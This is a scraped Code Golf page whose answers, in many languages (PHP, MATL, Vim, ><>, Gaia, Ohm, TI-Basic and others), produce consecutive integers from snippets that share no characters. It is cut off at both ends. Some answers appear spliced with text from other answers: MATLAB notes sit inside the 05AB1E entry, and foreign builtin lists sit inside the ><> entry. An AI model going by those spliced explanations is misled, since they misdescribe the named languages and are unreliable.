`AEIMPRTUZeflnrstvwx^_&|()[]=!.*+/-<>$\":0123456789`\n```\nZ==Z\n\":\"&\"w\" \nM_PI|[]\nTRUE<>1>>1>>1 \n22-2-2-2-2\n0xf\n4*4\n```\n1 Boolean constant Z (not set) equal constant Z\n2 bitwise and chars : and w\n3 Pi casted to integer value through empty array casted to zero\n7 bitwise xor chars A and v\n10 variable $s not set !$s = one concat with string length of variable $s \n13 111 /2 =55 /2 =27 /2 = 13 Integer division bitwise\n15 hexadecimal value f = 15\nAll snippets are items in an array\n[Try it online!](https://tio.run/##Vc1LC4JAGIXhvf@iaRJ1Pi/jvRqNFi1cBBG50cxFKAWhoqIu/O8mEUS8h2d7qkc1sV01m5e1sMVPRt1ZQkQuuz/KOPK8CNAG8ahHcExPwRgncDmHB8Z@ggU27G8duLCGBW6Upq1fWSHgRgTHUR0wyCeglPr@d6Dr8jfQhhxMyUxigp8JoGuLttNyfwiOp/MljLL8VdRN2/XDLeVHQYwTb6FIRJWZv8Joo1HdMC3bcdfc8v98egM \"PHP – Try It Online\")\n# PHP, score 14, 84 Bytes\ncharacters used `$!_^[]()%/+~-=AEILMNPRUZ0123456789delnrstx`\n```\nZ==Z\n2\nM_PI^[]\n4\n5\n6\nERA%11\n8\n9\n!$s.strlen($s)\n77/7\n3+3+3+3\n0xd \n-~-~-~-~-~-~-~-~-~-~-~-~-~-~-NULL\n```\n1 Boolean constant Z (not set) equal constant Z\n3 Pi casted to integer value through empty array casted to zero\n7 ERA is a constant with the value 131116 mod 11 = 7\n10 variable $s not set !$s = one concat with string length of variable $s is zero\n13 hexadecimal value d = 13\n14 bitwise not and minus sign raise NULL to 14 \nAll snippets are items in an array\n[Try it online!](https://tio.run/##fc3NCkRQGIDh/dwFcxSdz3D8HUKThYVCUjaMsRgmSsixsJpbN5oLmN56tu/SL4d3X07f8yq6aPCIeYqxdOle/VyVvl@CBkmTRc@qBgNMsCDMA4EQsMEBDrEb29axm0TEJKBUoaDjX6DuLcifP6VFHNcVRkMN/GPj3eOKuObciJKg4I/sB2EUJ2mWF6VKNN0wLWo7bTdOK9v24ws \"PHP – Try It Online\")\n[Answer]\n## R, score ~~13~~ 14\n```\nF^F # F==0 in R\nq=\"\"==\"\";q--q # \"\"==\"\" is TRUE, TRUE == 1 (Thanks WheatWizard)\n3\n4\n5\n6\n7\n8\n9\n1e1 # scientific notation for 10\n22/2\nT+T+T+T+T+T+T+T+T+T+T+T # T == 1\n0xD \nsum(mtcars$vs) # mtcars is a built-in dataset, summing the $vs column gives 14\n```\nGot an extra one thanks to user2390246.\nCharacters used:\n`0123456789acemqrstuvxDFT^=\";-/+()$`\n[Answer]\n# [MATL](https://github.com/lmendo/MATL), score ~~21~~ ~~22~~ 23 numbers (273 bytes)\n*Thanks to [J Doe](https://codegolf.stackexchange.com/users/70341/j-doe) for extending from 22 to 23 numbers!*\n```\n0~\n'bd'd\n{P}gk\nHH^\n5\n6\n7\n8\n9\n3 3.333333333333333*\n11\nIEE\n[B]Yq\nllllllllllllllNwxwxwxwxwxwxwxwxwxwxwxwxwxwx\nKUKUa-\n4W\nFFFFFFFFFFFFFFFFFn\nTTTTTTTTTTTTTTTTTTs\nrrrrrrrrrrrrrrrrrrrhhhhhhhhhhhhhhhhhhz\nOOOOOOOOOOOOOOOOOOOOvZyX>\nJJJJJJJJJJJJJJJJJJJJJ++++++++++++++++++++J/\n22\n`@QQQQQQQQQQQQQQQQQQQQQQ@@<\n```\n[**Try it online!**](https://tio.run/##y00syfn/36BOwYVLPSlFPQVIVwfUpmcDaQ@POCBpCsRmQGwOxBZAbAnExgrGesaoQAsobGgIJDxdXYFktFNsZCGQzkEBfuUVuCFQtXeod2iiLpBhEg4k3NBBHlAwBAMUA0WLMEEGBqgCKvTHAsqiKiPsgHJe2IA2FuClD1RtZAQkEhwCsQIHBxuFWJf//wE) Each snippet in the link is ended by either `D` (display) or `]D` (close loop explicitly and display) to clear the stack and thus isolate from the next snippet.\n### Explanation\n```\n0~\n```\nPush `0`. Negate. Gives `true`, which is displayed as `1`.\n```\n'bd'd\n```\nPush string `'bd'`. Consecutive difference between characters' code points.\n```\n{P}gk\n```\nPush cell array containing number `pi`. Convert to numeric array (i.e. to a single number). Round down.\n```\nHH^\n```\nPush `2` twice. Power.\n```\n5\n```\nNumeric literal.\n```\n6\n```\nNumeric literal.\n```\n7\n```\nNumeric literal.\n```\n8\n```\nNumeric literal.\n```\n9\n```\nNumeric literal.\n```\n3 3.333333333333333*\n```\nPush `3`. Push `3.333333333333333`. Multiply. Due to floating point accuracy this gives `10`.\n```\n11\n```\nNumeric literal.\n```\nIEE\n```\nPush `3`. Multiply by `2` twice.\n```\n[B]Yq\n```\nPush `[6]` (which is the same as `6`). Compute *n*-th prime.\n```\nllllllllllllllNwxwxwxwxwxwxwxwxwxwxwxwxwxwx\n```\nPush `1` 14 times. Number of elements in stack. Clear the rest of the stack.\n```\nKUKUa-\n```\nPush `4`. Square. Do the same. Any: gives `1`. Subtract.\n```\n4W\n```\nPush `4`. `2` raised to that.\n```\nFFFFFFFFFFFFFFFFFn\n```\nPush array `[false false ... false]` (17 times). Number of elements in array.\n```\nTTTTTTTTTTTTTTTTTTs\n```\nPush array `[true true ... true]` (18 times). Sum of array.\n```\nrrrrrrrrrrrrrrrrrrrhhhhhhhhhhhhhhhhhhz\n```\nPush 19 random numbers taken from the interval (0,1). Concatenate horizontally 18 times. Number of nonzero elements in array.\n```\nOOOOOOOOOOOOOOOOOOOOvZyX>\n```\nPush `0` 20 times. Concatenate stack contents vertically (gives a column vector). Size: gives the array `[20 1]`. Maximum of array.\n```\nJJJJJJJJJJJJJJJJJJJJJ++++++++++++++++++++J/\n```\nPush `1j` (imaginary unit) 21 times. Add 20 times. Divide by `1j`.\n```\n22\n```\nNumeric literal\n```\n`@QQQQQQQQQQQQQQQQQQQQQQ@@<\n```\nDo...while loop (```) with implicit end. In the first iteration it pushes the iteration index (`@`) and increments it (`Q`) 22 times, which yields `23`. The loop condition (`@@<`) is false, so the loop is exited.\n### Some ideas for further improvement\n* (space) in snippet 10 could be replaced by `|`\n* `X>` in snippet 20 could be replaced by `p`, thus freeing prefix `X`.\n* Currently unused and potentially useful: `:`, `A`\n[Answer]\n# Vim 8 on Windows, score 13, 104 bytes\n```\n1\n2\n3\n4\n5\n6\n7\n^R=&ts^@\n9\n8^O^A^O^A\n0^[^X^X^X^X^X^X^X^X^X^X^X0x\n:hwwwwwwwwwwwy$:qp\ngrgKjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjYZZvPWWWllld|llD\n```\n`^{keystroke}` represents ``, so `^X` is ``, except for `^@` which is ``. I am still trying to add more numbers to this list and `` represents a linefeed.\nNote: to run these commands, start vim using `-u NONE -U NONE`. This is to ensure that your configs will not interfere with the code.\nSnippets 1 through 10 start in insert mode. While snippets 12 and 13 starts in normal mode.\n### Explanations\nSnippet 8 is `:^R=&ts^@`. I have to thank @L3viathan for coming up with this and @nmjcman101 for suggesting `^@` as a replacement for the linefeed and @ØrjanJohansen for shortening `&tabstop` to `&ts`. `&ts` then evaluates to the size of the tab, which is by default at 8, and this value is inserted into the editor.\nSnippet 10 is `8^O^A^O^A`. We insert an 8, and then increment it twice to get 10.\nSnippet 11 is `0^[^X^X^X^X^X^X^X^X^X^X^X0x`. We write down a 0 and decrement it 11 times to get -11. Then we remove the minus to get 11.\nSnippet 12 is `:hwwwwwwwwwwwy$:qp`. This opens up Vim 8's help menu, which contains the following information:\n```\n*help.txt* For Vim version 8.0. Last change: 2016 Sep 12\n```\nAnd the sequence of `w`s move to the 12, at which point `y$` copies the number. Then it is pasted into the editor using `p`.\nSnippet 13 is `grgKjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjYZZvPWWWllld|llD` thanks to @DJMcMayhem for coming up with it. This works only on Windows. The snippet searches the help menu for commands starting with `g`. Then it moves down using `j` to get to this line:\n```\n|g?| g? 2 Rot13 encoding operator\n```\nafter which it copies it and pastes it in the buffer. After that, everything but the 13 is removed from the buffer.\n[Answer]\n# Mathematica, score 13\n```\nx~D~x\n⌊E⌋\n3\n⌈Pi⌉\n5\n6\nLucasL@4\n8\n9\n0!+0!+0!+0!+0!+0!+0!+0!+0!+0!\n77/7\nTr[{11,1}]\n-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I\n```\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E), Score 18, 67 bytes\n```\nX Variable is initialized to 1\nY Variable is initialized to 2\n2> 2 + 1\n4\n5\n6\n7\n8\n9\nT Constant 10\n3b 3 in binary\n•C Ascii code of 'C'\n11Ì 11 in hex\nA'ok Index of 'o' in the alphabet\nžz¨¤x+ Middle character of '256' times 2, plus itself\n¾<<<'g'. Returns 1. Uses space (available)\nor o r % Equivalent to 'o' | 'r'. Returns 1. \n```\nUsing this will make `0` available, but I can't see how to make it useful yet.\n`e (2.71828...)` and `j` are still unused. Must remove `ceil` to use `e` though.\nAlternatives (inspiration):\n```\n1: ~0 % Not 0 = 1\n2: 2 % Numeral\n3: 3 % Numeral\n4: fix(i^i^i^i) % Numeral\n5: 5 % Numeral\n6: 6 % Numeral\n7: 7 % Numeral\n8: 8 % Numeral\n9: 9 % Numeral \n10: 1+1+1+1+1+1+1+1+1+1 % Well, not much to explain\n11: ['','RR'-'!'] % RR are [82,82] in ASCII, subtract 33 (!) to get\n % [49,49], and concatenate with the empty string to convert [49,49] to 11 \n12: nnz nnnnnnnnnnnn % Number of non-zero elements in the string containing 12 n\n13: \"4\"/4 % \"4\" = 52. Divide it by 4 to get 13.\n```\n[Answer]\n# JavaScript (ES7), 16 integers, ~~137~~ ~~130~~ 128 bytes\nI took [@ETHproductions' answer](https://codegolf.stackexchange.com/a/124364/47097) and ran with it for a while; it's changed so much that I'm posting it separately. Ideas are welcome. :)\n```\n\"\"**\"\"\n-~-~{}\n3\nC=CSS==CSS;C<>2>>2\n`..............i`.indexOf`i`\n0XF\natob('MTY')\n```\nRemaining: \n`$_@#!^&|/?:, ABDEGHIJKLNPQRUVWZcghjklmpqrsuvwyz`\nOr, if the snippet for 1 is replaced with `!!/!//!!/!/`: \n`$_@#^&|*?:\", ABDEGHIJKLNPQRUVWZcghjklmpqrsuvwyz`\n---\n# JavaScript (ES7), 16 integers, 127 bytes\nOne byte shorter. :P\n```\n\"\"**\"\"\n-~-~{}\n3\n4\n5\n6\n7\nC=CSS==CSS;C<>2>>2\n0XE\natob('MTU')\n88888888888888888%88\n```\nRemaining: `$_@#!/^&|?:,ABDFGHIJKLNPQRVWYZcghjklmpqrsuvwyz`\n[Answer]\n# Dyalog APL, score 15, 89 bytes\n```\n≡''\n≢###\n3\n4\n⍴⍬⍬⍬⍬⍬\n6\n⌈○2\n8\n9\n1E1\n⎕D⍳⊂⎕D\nl:l\n7--7-×7\n(~0 0 0 0 0 0 0 0 0 0 0 0 0 0)⊥~0\n5+5+5\n```\nThe newlines before `l:l` are part of 12.\nThe spaces in 14 represents tabs.\n[Answer]\n## [><>](https://esolangs.org/wiki/Fish), score 20, ~~93~~ ~~90~~ ~~74~~ 65 bytes\n*(3 bytes saved by Teal Pelican, lots of bytes saved by Jo King!)*\n```\niii((\n2\n3\nll{lll{[\n5\n6\n7\n8\n! 00=0g\na\nb\nc\nd\ne\nf\n44*\n'RA'%\n999-9--\n\"&F#\",,\n1::+:++:+:+\n```\n[Try them at the fish playground!](https://fishlanguage.com/playground) You can make the snippets print their results by adding `n;` to the end of each. Note that the 9th snippet contains a tab, which is eaten by stack exchange.\nExplanation:\n* In `iii((`, each `i` tries to get input, but since there isn't any, they push EOF = `-1` instead. Then `(` is the less-than instruction, and since `-1` is not less than `-1`, it pushes a falsey `0`; but the second `(` asks if `-1` is less than `0`, which it is, so it pushes a truthy `1`.\n* `2` and `3` are obvious.\n* For `ll{lll{[`, the first `l` pushes the length of the stack, which is `0`, then the second pushes the new length, bringing the stack to `0, 1`. The `{` rotates the stack left, swapping the `1` and `0`. Three more `l`s bring the stack to `1, 0, 2, 3, 4`. Then `{` rotates the `1` to the front, and `[` siphons off the first `1` thing on the stack, which is `4`.\n* `5`, `6`, `7` and `8` are obvious too.\n* In `!\\t00=0g` (where `\\t` represents a tab), `!` skips the tab, then `00=` pushes two zeros and checks if they're equal — they are, so we get a truthy `1`. After pushing another `0`, the `g` gets the character in position `1,0` of the code, which is the tab with character code `9`.\n* `a` through to `f` each push `10` to `15` respectively (presumably to make hexadecimal nice).\n* `44*` pushes two `4`s and multiplies them together, for `16`.\n* `'RA'` pushes the character codes of `R` and `A` (82 and 65 respectively) to the stack, then `%` computes `82 mod 65 = 17`.\n* `999-9--` evaluates to `9 - ((9 - 9) - 9) = 18`.\n* `\"&F#\"` pushes the character codes of `&`, `F` and `#`, which are `38`, `70` and `35` respectively. Then `,` is division, so we get `38 / (70 / 35) = 19`.\n* Finally, `1::` pushes a `1` and duplicates it twice, `+` adds two of the ones together to get `2`; `:+` duplicates the `2` and adds it to itself to get `4`; `+` adds the leftover `1` to get `5`; then `:+:+` duplicates and adds twice, resulting in `20`.\nThis is the maximum score possible with ><>. Any snippet must include an instruction somewhere that turns an empty stack into a non-empty stack, and there are only 18 ><> instructions that can do that (namely `i`, `l`, and the digits `0–9` and `a–f`), plus string mode. (Every other instruction either does nothing to an empty stack, `>?@[^`agjklmnopqstuvwxz{|}⌂ÇéâäàåçêëèïìÄÅÉæÆôöòûùƒáíóúñѺ¿⌐¬¡«»│╡╢╖╕╣║╗╜╛┐┴┬├─┼╩╦═╧╨╤╙╘╓╫╪┘┌▄▌▐▀αßΓσµΦΘΩδε∩≥≤÷°∙·`.\nThis still includes quite a few useful things to go further, like: some more integer builtins (`◙↕` = `[4096,100000000]`); a second multiply (`.`); a second exponentiation (`▬`); convert to/from binary as list or string (`âäàå`); \\$2^n\\$ (`ó`); \\$10^n\\$ (`ú`); palindromize string/list/integer (`ñ`); TOS-1 without popping (`┐`); left rotate binary bits of integer (`╫`); \\$\\frac{1}{n}\\$ (`∩`); etc.\n[Answer]\n# C, score 13\nThese are just a bunch of integer constants.\n```\n0==0\n__LINE__\n3\n4\n5\n6\n7\n8\n9\n1+1+1+1+1+1+1+1+1+1\n'o'/'.' \n2*2*2*2-2-2\nstrlen(\"strlenstrlens\")\n```\n1. `0==0` evaluates to **1**\n2. Assumes code is on line 2. `__LINE__` = **2**\n3. Integer constant\n4. Integer constant\n5. Integer constant\n6. Integer constant\n7. Integer constant\n8. Integer constant\n9. Integer constant\n10. `1+1+1...` = `1*10` = **10**\n11. `'o'` is 111, `'.'` represents the unprintable ASCII 0x10. 111/10 = **11**\n12. `(2<<2)` = 8, `8*2` = 16, `16-2-2` = **12**\n13. string length of `\"strlenstrlens\"` = **13**\n[Answer]\n# Java 8, ~~11~~ ~~12~~ 13, 39 bytes\n~~Java only has 10 symbols for numbers (0-9) and all method calls and constants require a period, so I'm not sure I can get above 11 outputs~~\nApparently chars cast to integers by default when operations are applied\n+1 with the help of @OlivierGrégoire\n```\ni->-~i\n2\n3\n4\n5\n6\n7\n8\n9\n'P'^'Z'\n11\n\"::::::::::::\"::length\n0xD\n```\nExplanations:\n```\ni->-~i\n```\ninteger lambda [which takes no input](https://codegolf.meta.stackexchange.com/questions/12681/are-we-allowed-to-use-empty-input-we-wont-use-when-no-input-is-asked-regarding) and returns 1. When a parameter takes no input the default value is used as per the above meta post, which for integers is 0\n```\n2\n3\n4\n5\n6\n7\n8\n9\n```\nliteral integers\n```\n'P'^'Z'\n```\nXOR of two characters to return 10\n```\n11\n```\nliteral integer\n```\n\":::::::::::\"::length\n```\nlambda expression which returns the length of a 12 character string\n```\n0xD\n```\nHexadecimal 13\n[TIO Link](https://tio.run/##ddBNSwMxEAbgc/srgpfdPWxo/f4sCF48iMLSi6IQtzFmTSchmSwuUv/6OhUPHjq5hOSZGYa3U72qfdDQrT7GMeRXZ1vROpWSuFMWvqaTv7@ECunqvV2JNUnZYLRgnp6FiiZVVDjpaJbMaJ18y9Ci9SBvAZeg4nAfdFToo8jiSth6UX/bC@pohoR6LX1GGWgaOiizVCG44TpRazmrKqZsn4MDDg45OOLgmIMTDk45OOOgeCheiseC4/n8V3aH22RKyup4SVFpo@NC9JTu3vm/Qw@nweA7M7@XRmO5TXm3zz5vtgtspptx/AE) if you want to verify.\n[Answer]\n# [Gaia](https://github.com/splcurran/Gaia), score 25, 203 bytes\n```\n§‼\n..⌉+⌉\n₵P~~\n4\n5\n6\n∂Ql\n8\n9\n¶c\n11\n'¡ċ⌋u⌋\n--⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻\n7:,Σ\nØ!))))))))))))))\nøøw<øøw<«øøw<«øøw<«øøw<«\n⟩‘\n₸ḣ₸K$₸ḣ₸/S₸₸/=$\n]]]]]]]]]]]]]]]]]]]n\n⇑’e\n0(((((((((((((((((((((_\n22\n“B”“↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺B”B\n3₈×\nℍḥḥ\n```\nI consider this a perfect score, as no more nilads can be used given the character limitations.\n### Explanations\n**1.** `§‼`\n`§` is a space character, `‼` is coerce to boolean, so the result is 1.\n**2.** `..⌉+⌉`\n`.` is a shortcut for `0.5`, so this is `ceil(0.5+ceil(0.5))`.\n**3.** `₵P~~`\n`₵P` is pi, `~` is bitwise negation. Double bitwise negation is simply truncation.\n**4.** `4`\n**5.** `5`\n**6.** `6`\n**7.** `∂Ql`\n`∂Q` is a list containing the names of the days of the week, `l` is length.\n**8.** `8`\n**9.** `9`\n**10.** `¶c`\nCode point `c` of linefeed `¶`.\n**11.** `11`\n**12.** `'¡ċ⌋u⌋`\n```\n'¡ The string \"¡\"\nċ Turn it into a list of code points: [161]\n⌋ Minimum: 161\nu⌋ Floored square root: 12\n```\n**13.** `--⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻`\n`-` is a shorthand for `-1`, `⁻` is subtraction. So this is `-1 - -1 - -1...` enough times to make 13.\n**14.** `7:,Σ`\nPush `7`, duplicate `:`, pair `,` the two 7s into a list, and sum `Σ`.\n**15.** `Ø!))))))))))))))`\n`Ø` is an empty string, so `Ø!` is 1. Increment `)` 1 14 times.\n**16.** `øøw<øøw<«øøw<«øøw<«øøw<«`\n```\nøø Push two empty lists\nw Wrap one of them\n< [] < [[]]? (it is, so push 1)\nøøw< Do the same thing again to push another 1\n« Bitshift 1 left by 1\n Do that same thing again 3 more times to get 16\n```\n**17.** `⟩‘`\nClosing a string with `‘` makes it a base-250 number literal. `⟩` is at byte value 17 in Gaia's code page.\n**18.** `₸ḣ₸K$₸ḣ₸/S₸₸/=$`\n```\n₸ 10\nḣ doubled\n₸ 10\nK 20 choose 10 (184756)\n$ Digit list\n₸ḣ₸/ 20/10 (2)\nS Split the digit list at index 2 ([[1 8][4 7 5 6]])\n₸₸/ 10/10 (1)\n= Get the first element of that split ([1 8])\n$ Join together and print 18\n```\n**19.** `]]]]]]]]]]]]]]]]]]]n`\nEach `]` wraps the stack in list. Do this 19 times and get the depth `n` of the list.\n**20.** `⇑’e`\nClosing a string with `’` makes it a list of codepage code points. `e` dumps the list on the stack. `⇑` has a code point of 20 in the codepage.\n**21.** `0(((((((((((((((((((((_`\nDecrement `(` 0 21 times, then negate `_`.\n**22.** `22`\n**23.** `“B”“↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺B”B`\nConvert the string `“B”` from base-24, where the digits from 0-23 are `↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺B`. The result is `23`.\n**24.** `3₈×`\n3 × 8.\n**25.** `ℍḥḥ`\n100 `ℍ` halved `ḥ`, and halved again.\n[Answer]\n# [Ohm](https://github.com/MiningPotatoes/Ohm), score ~~21~~ 22, 160 total bytes\n```\n╓S@Ri\nΓΓ-Γ-Γ-\nαê⌠\n¡¡¡¡¼\n5\n▀lll▀l\nÑÑÑÑÑÑÑÿWÿk\nü`½½\n9\n..≥°\n$$J\n3dd\n7ƒ\n2≡≡≡Σ\n║F\n4º\n0ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~\n6DD++\n8π\nτ╛hτ*\n\"≤\"≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤A\n1111 11v11%L1111 11v11%L\n```\n[Try it online!](https://tio.run/##y8/I/W9k5GAV76NkpaDkE39umc7/R1MnBzsEZXKdm3xusi4EcZ3beHjVo54FXIcWQuEeLlOuR9MacnJyQCTX4YkocH/44f3ZXIf3JBzae2gvlyWXnt6jzqWHNnCpqHhxGaekcJkfm8Rl9KhzIQSdW8z1aOpENy6TQ7u4DA5vqiMVcZm5uGhrc1mcb@A63/Jo6uyM8y1aXEqPOpeAMCXIkcsQCBQMDcsMDVV9kNn//wMA \"Ohm – Try It Online\")\n## Explanations\n**1.** `╓S@Ri`\nPush the seconds of the current date/time (`╓S`). Get the inclusive range from 1 to seconds (`@`), reverse it (`R`), get the last element (`i`), which is always 1.\n**2.** `ΓΓ-Γ-Γ-`\n`Γ` is -1, so this is (-1) - (-1) - (-1) - (-1), which is 2.\n**3.** `αê⌠`\n`αê` is Euler's number (2.71828...), `⌠` is ceiling. 3 is the result.\n**4.** `¡¡¡¡¼`\n`¡` increments the counter, `¼` pushes the counter.\n**5.** `5`\nJust a literal.\n**6.** `▀lll▀l`\n`▀lll▀` is a compressed string literal which is equivalent to `\"of >ic\"`. `l` takes the length, so the result is 6.\n**7.** `ÑÑÑÑÑÑÑÿWÿk`\nFirst we push 7 newline chars (`Ñ`) and then an empty string (`ÿ`). The stack is wrapped in an array (`W`), and then the index of the empty string in that array is found.\n**8.** `ü`½½`\n`ü` is a space character. ``` pushes its ASCII value (32), then it gets halved twice (`½½`).\n**9.** `9`\nJust a literal.\n**10.** `..≥°`\n`..` is a literal `.` character. It gets incremented (`≥`), which parses the string as a number, defaulting to 0 since it's not a valid number, and increments it to 1. Then we compute 101 (`°`).\n**11.** `$$J`\n`$` pushes the current value of the register, initially 1. So, push 1 twice, join the stack together and print.\n**12.** `3dd`\nPush 3 and double it twice.\n**13.** `7ƒ`\nPushes the 7th Fibonacci number.\n**14.** `2≡≡≡Σ`\nPush 2, triplicate it three times, leaving 7 2's on the stack. Then take the sum of the stack (`Σ`).\n**15.** `║F`\n`║` is the delimiter for base-220 number literals. Since this is at the end of a line, it doesn't need to be terminated. \n**16.** `4º`\nCompute 24.\n**17.** `0ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~`\n`ò` is bitwise negate, `~` is arithmetic negate. Combining these operators, we can increment 0 17 times.\n**18.** `6DD++`\nPush 6, duplicate it twice, and compute 6+6+6.\n**19.** `8π`\nPush the 8th prime number.\n**20.** `τ╛hτ*`\nPush 10 (`τ`), get the first element (`h`) of its prime factors (`╛`), multiply that by 10.\n**21.** `\"≤\"≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤A`\nSimilarly to previous snippets, the string `\"≤\"` gets parsed as 0. We decrement it 21 times, then take the absolute value.\n**22.** `1111 11v11%L1111 11v11%L`\nHere we compute 1111 div 11 mod 11, which is 2, then print 2. Then do it again.\n[Answer]\n## PowerShell, score 12, 91 bytes. 14, 176 bytes\n```\n[byte]!![byte] # type gets cast to bool false, inverted, to int = 1\n- -$?-shl$? # -bool true is -1, shift left, negative. (Tab not space)\n3\n4\n5\n6\n7\n8\n9\n1+1+1+1+1+1+1+1+1+1\n22/2 # use the 2\n'uuuuuuuuuuuu'.LENGTH # string length\n0xd\n@{z=@{};Y=@{};YY=@{};w=@{};v=@{};U=@{};zz=@{};S=@{};r=@{};q=@{};p=@{};J=@{};K=@{};m=@{}}|% COU* # count items in hashtable (space)\n```\nEdit:\n* Thanks to Ørjan Johansen for suggesting the hex literal 0xd for 13 and the rearranging of 5 to free up 1+1+1+1.. as an option.\n* Changed array length to string length, [int] to [byte] and hashtable to use hashtables as values, freeing up `(),\"\"` Pondering 15 with something like `\"ZZZZZZZZZZZZZZZA\".InDeXof(\"A\")` but can't reuse the dot or the 'e'..\nPowerShell can't do variables without $, can't do exponentiation, bit shifting, Pi, ceil(), etc. with basic symbols, and mostly does type coercian to/from bool and to/from numbers-as-strings, so there's relatively little scope for low-syntax number generation.\n[Answer]\n# TI-Basic (83 series), score ~~21~~ ~~22~~ ~~23~~ ~~24~~ 25 (1003 bytes)\n```\n1: A=A\n2: int(tan(tan(cos(cos(cos(B\n3: tanh⁻¹(√(√(√(√(√(√(√(√(√(√(C!°√(√(C!°\n √(√(√(√(√(√(C!°√(√(√(√(√(√(C!°√(\n C!°√(√(√(C!°√(C!°√(C!°√(√(√(√(√(\n √(C!°√(C!°√(C!°√(C!°\n4: 4\n5: cosh(sinh⁻¹(cosh(sinh⁻¹(...sinh⁻¹(cosh(D with 25 repetitions of cosh(\n6: 6\n7: 7\n8: 8\n9: 9\n10: ₁₀^(₁₀^(E\n11: 11\n12: F nPr F/sin(tan⁻¹(...(sin(tan⁻¹(F nPr F with 143 repetitions of sin(tan⁻¹(\n13: det([[G≤G]...[G≤G]]ᵀ[[G≤G]...[G≤G with 26 repetitions of G≤G\n14: ln(tanh(not(H))...tanh(not(H)))\n ln(tanh(not(H)))^⁻not(H with 14+1 repetitions of tanh(not(H))\n15: iPart(e^(e^(e^(I\n16: sum(dim(identity(sum(dim(identity(sum(\n dim(identity(sum(dim(identity(J≥J\n17: K nCr K+K nCr K+...+K nCr K with 17 repetitions of K nCr K\n18: abs(i-i-...-i with 20 repetitions of i\n19: rand→L:log(LL...LL→M:log(L→N:N⁻¹M with 19 L's inside the log\n20: mean(seq(OOO,O,O,sinh(sinh(cos⁻¹(O\n21: ππ³√(π³√(ππ³√(ππ³√(ππ³√(π³√(³√(ππ³√(π³\n √(π³√(ππ³√(π³√(ππ³√(ππ³√(ππ³√(π³√(\n π³√(³√(ππ³√(ππ\n22: 22\n23: 3(3(3×√(3(3(3×√(3(3×√(3(3(3×√(3×√(3×√(\n 3(3×√(3(3×√(3(3(3×√(3(3×√(3×√(3(3(\n 3×√(3(3×√(3×√(3×√(3(3(3×√(3(3×√(3(\n 3(3×√(3×√(3(3(3×√3\n24: Fix 0\n sin⁻¹(ᴇ0\n AnsAnsAnsAnsAnsAnsAns\n25: 5*5\n```\nRefer to for a list of which things the challenge does and does not allow here.\nAll of these can be complete programs, since the last line of a program gets printed automatically. But (except for 17, which is multiple lines long) they can also be snippets on the home screen.\nAt this point, I see no other way to get *any* nonzero value out of the remaining tokens available. If there's any improvement to be made, it will have to involve first making some of the solutions above more conservative.\n# Explanations\n* `A=A` is a boolean 1 because the variable `A` is equal to itself.\n* `B` is 0 by default, `tan(tan(cos(cos(cos(B` is about 2.21, and then we take the floor.\n* `C!°` is 1 degree in radians, about 0.017. Some positive power of this is tanh(2), about 0.964. We encode that power in binary using implied multiplication and `√(`, and then take `tanh⁻¹(`.\n* 4 is straightforward\n* `cosh(sinh⁻¹(X` simplifies to \\$\\sqrt{1+X^2}\\$, and used 25 times it gives us 5.\n* 6-9 are straightforward\n* `₁₀^(` is a one-byte built-in for powers of 10, and 10^10^0 = 10^1 = 10.\n* 11 is 11.\n* Another instance of the trick used on 5. `F nPr F` is 1. `sin(tan⁻¹(X` simplifies to \\$\\frac{1}{\\sqrt{1+1/X^2}}\\$, and used 143 times starting with 1 it gives us 1/12. Dividing 1 by this number is 12.\n* `G≤G` is 1, so `[[G≤G]...[G≤G]]` is a 13x1 column vector. Taking the product of its transpose with itself gives the matrix `[[13]]`, whose determinant is 13.\n* `not(H)` is 1. `tanh(not(H))` is just some number not equal to 0 or 1, and `ln(XXX....X)ln(X)^⁻1` will simplify to the number of `X`'s in the first log provided that `X` is not 0 (so that the log exists) and not 1 (so that we're not dividing by 0).\n* `e^(e^(e^(F` evaluates to about 15.15, and then we take the floor.\n* `J≥J` is 1. `identity(` constructs a 1x1 identity matrix, `dim(` finds its row and column dimensions, and `sum(` adds them to get 2. Then we do this again, adding the dimensions of a 2x2 matrix to get 4, and again, adding the dimensions of a 4x4 matrix to get 8, and again, adding the dimensions of a 8x8 matrix to get 16.\n* `K nCr K` is the binomial coefficient 0 choose 0, or 1. Adding together 17 1's gives 17.\n* `i-i-...-i` simplifies to ⁻18i, and taking `abs(` gives 18.\n* `rand→L` stores a random real number to L, but we don't care what it is. We are computing `log(L)⁻¹log(L^19)`, which simplifies to 19.\n* `sinh(sinh(cos⁻¹(I` is a bit over 4, so `seq(III,I,I,sinh(sinh(cos⁻¹(I` gives the list `{0 1 8 27 64}` whose arithmetic mean is 20.\n* Another instance of the trick used to get 3. Here, some power of `π` should give 21; we encode that power in ternary using implied multiplication and `³√(`.\n* 22 is 22.\n* Another instance of the trick used to get 3 and 21. We encode the power of 3 that equals 23 in ternary, using `3×√(` as cube root and `(` for multiplication.\n* `Fix 0` is the setting for displaying 0 digits after the decimal, rounding all values to integers. `sin⁻¹(ᴇ0` evaluates to π/2, and π/2 multiplied by itself 7 times gives about 23.59, which rounds to 24.\n* `5*5` is 25. (It would be more conservative to use `5` to get 5, and adapt the solution used there for 25. But this way saves lots of space, and `*` isn't a very useful character because implied multiplication exists.)\n[Answer]\n# [Raku](https://github.com/nxadm/rakudo-pkg), ~~26 29~~ 30 numbers, 309 